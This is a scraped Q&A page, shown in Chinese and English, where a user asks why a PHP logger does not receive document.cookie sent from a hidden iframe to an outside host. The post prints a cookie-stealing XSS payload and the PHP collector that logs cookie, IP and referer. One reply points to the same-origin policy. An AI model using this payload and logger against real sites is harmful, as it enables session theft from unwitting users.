将 document.cookie 从单独域上的 iframe 内传递到 php
<IFRAME WIDTH=0 HEIGHT=0 frameborder=0 SRC=jvoid(document.location="http://www.xxx.com/cookie.php?c"+document.cookie)></iframe>
然后 php 文件:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('logs.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'< br > IP: ' .$ip. '< br > Date and Time: ' .$date. '< br > Referer: '.$referer.'< br > < br > < br >');
fclose($fp);
header ("Location: http://www.xxx.com");
?>
logs.html
记录除 cookie 之外的所有内容 - 为什么?我通过在标签内调用 document.cookie 来测试我的网站是否正确显示 cookie,因此出现了其他问题。 请指出我的愚蠢之处!
<IFRAME WIDTH=0 HEIGHT=0 frameborder=0 SRC=jvoid(document.location="http://www.xxx.com/cookie.php?c"+document.cookie)></iframe>
And then the php file:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('logs.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'< br > IP: ' .$ip. '< br > Date and Time: ' .$date. '< br > Referer: '.$referer.'< br > < br > < br >');
fclose($fp);
header ("Location: http://www.xxx.com");
?>
logs.html
records everything other than the cookie- why? I tested that my site is dispaying cookies correctly by invoking: document.cookie within tags so something else is up.
Please point out my stupidness!
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(3)
你为什么要这样做?无论如何,我遇到了这个链接: http://www.15seconds.com/issue/971108.htm 很久以前..看看它对你是否有用
,或者你可以使用js尝试一下,如下所示:
页面 xxx.com/ajaxHandler?getCookie 可以这样做:
why would you want to do this? Anyways I had run into this link: http://www.15seconds.com/issue/971108.htm long back.. see if its useful to you
or you can try this using js as follows:
And the page xxx.com/ajaxHandler?getCookie could do this:
我认为这是因为同源政策。
否则,窃取某人的 cookie 就太容易了:)
http://en.wikipedia.org/wiki/ Same_origin_policy
I think it's because of the same origin policy.
Otherwise it would be just too easy to steal someone's cookie :)
http://en.wikipedia.org/wiki/Same_origin_policy